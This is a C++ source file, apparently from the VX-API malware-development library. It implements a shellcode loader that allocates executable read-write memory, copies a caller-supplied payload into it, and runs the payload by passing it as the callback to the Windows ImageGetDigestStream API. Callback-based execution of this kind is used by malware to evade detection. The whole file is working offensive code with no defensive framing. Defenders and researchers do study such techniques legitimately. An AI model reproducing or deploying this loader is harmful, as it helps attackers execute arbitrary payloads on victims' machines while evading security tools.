vxug-VXAPI/VX-API/MpfSceViaImageGetDigestStre...

47 lines
1.3 KiB
C++

#include "Win32Helper.h"
VOID InvokeImageGetDigestStreamCallbackRoutine(LPVOID lpParameter)
{
WCHAR DefaultBinaryPath[MAX_PATH * sizeof(WCHAR)] = L"C:\\Windows\\System32\\ntdll.dll";
HANDLE hImage = NULL;
HANDLE hDispose = NULL;
IMAGEGETDIGESTSTREAM ImageGetDigestStream = NULL;
HMODULE hMod = NULL;
hMod = LoadLibraryW(L"Imagehlp.dll");
if (hMod == NULL)
return;
ImageGetDigestStream = (IMAGEGETDIGESTSTREAM)GetProcAddressA((DWORD64)hMod, "ImageGetDigestStream");
if (!ImageGetDigestStream)
return;
hImage = CreateFileW(DefaultBinaryPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hImage == INVALID_HANDLE_VALUE)
return;
ImageGetDigestStream(hImage, CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO, lpParameter, &hDispose);
if(hDispose)
CloseHandle(hDispose);
if(hImage)
CloseHandle(hImage);
}
BOOL MpfSceViaImageGetDigestStream(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
LPVOID BinAddress = NULL;
BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
return FALSE;
CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);
CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeImageGetDigestStreamCallbackRoutine, BinAddress, INFINITE);
return TRUE;
}